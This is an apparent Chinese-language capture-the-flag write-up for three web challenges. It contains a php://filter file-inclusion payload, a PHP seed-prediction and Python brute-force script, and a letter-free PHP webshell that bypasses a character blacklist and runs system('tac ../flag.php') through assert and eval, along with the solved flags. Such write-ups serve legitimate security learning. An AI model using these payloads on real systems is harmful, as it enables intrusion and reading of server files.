Web
Web200文件上传
一开始真的以为是文件上传,后面发现是骗人的,简单的文件包含,扫描发现存在flag.php
payload
http://118.190.87.135:10080/?op=php://filter/convert.base64-encode/resource=flag
解密得到flag
<?php
$flag="flag{c420fb4054e91944a71ff68f7079b9424e5cba21}";
?>
random
看了一下存在源码泄露
<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length = 10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(100, 200));
}
return $randpwd;
}
session_start();
mt_srand(time());
$pwd=create_password();
echo $pwd.'||';
if($pwd == $_GET['pwd']){
echo "first";
if($_SESSION['userLogin']==$_GET['login'])
echo "Nice , you get the flag it is ".$flag ;
}else{
echo "Wrong!";
}
$_SESSION['userLogin']=create_password(32).rand();
?>
然后就是随机数种子的问题了被,我们看到时间戳是随机数的种子,猜测服务器的时间是标准时间,在本地搭建一个php脚本跑出来,爆破的前42位,用另一个python脚本进行访问
php脚本如下
<?php
session_start();
mt_srand(time());
for ($i = 0; $i < 42; $i++){
echo mt_rand(100, 200);
echo ",";
}
?>
然后我们python脚本如下
import requests,re
url_local = 'http://127.0.0.1/test.php'
url = 'http://114.215.138.89:10080/index.php?'
what = requests.get(url_local).content
what=what.split(',')
pwd =''
for i in range(10):
pwd +="%"
pwd +=str(hex(int(what[i])))[2:]
print pwd
tempurl = url+"pwd="+ pwd.decode('gb2312')
print tempurl
html = requests.get(tempurl).content
print html
#hxb2017{6583be26c1403c25677c03ac7b3d1f22}
事实上我们绕过第一步就可以成功了,这里出题的问题,因为匹配userLogin的时候用的居然是弱类型,如果没有输入就是空了,和字符串正好匹配…救过果断直接绕过
hxb2017{6583be26c1403c25677c03ac7b3d1f22}
Web300
打开就能看到源码
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['content'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['content'];
$black_char = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', '|', '~');
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("关键字WAF");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>shell</a></br>";
echo "我的/flag,你读到了么";
}else{
echo "噢 噢,错了";
}
是要自己构造特殊的shellcode了,还没有把路封死,因为没有过滤如下
= $ _ + ' ( ) [ ] { }等等
就是时间问题,构造主要注意几点
1.A可以用++进行计算,A++之后就是B
2.字符++后变成了0
3.''.[]之后报错返回的信息是Array可以构造POST了。加上[]{}.没有过滤即可构造
最终构造如下,提交时候需要将+替换成url
$_=''.[];$__='%2b';$__=$_%2b%2b;$_=$_[$__];$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$___=$_;$_%2b%2b;$__=$_;$_%2b%2b;$_%2b%2b;$_%2b%2b;$____=$_;$_%2b%2b;${'_'.$__.$___.$____.$_}['_'](${'_'.$__.$___.$____.$_}['__']);
构造如下
访问得到flag
POST内容如下
_=assert
&__=eval($_POST['pass'])
&pass=system('tac ../flag.php');
<?php $flag="=hxb2017{51f759f39ac1f0cd5509b299b1d908f7}"; ?>
非常好的参考资料
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
http://www.freebuf.com/articles/web/9396.html
学习了一波2333
Web400
没做出来,菜狗…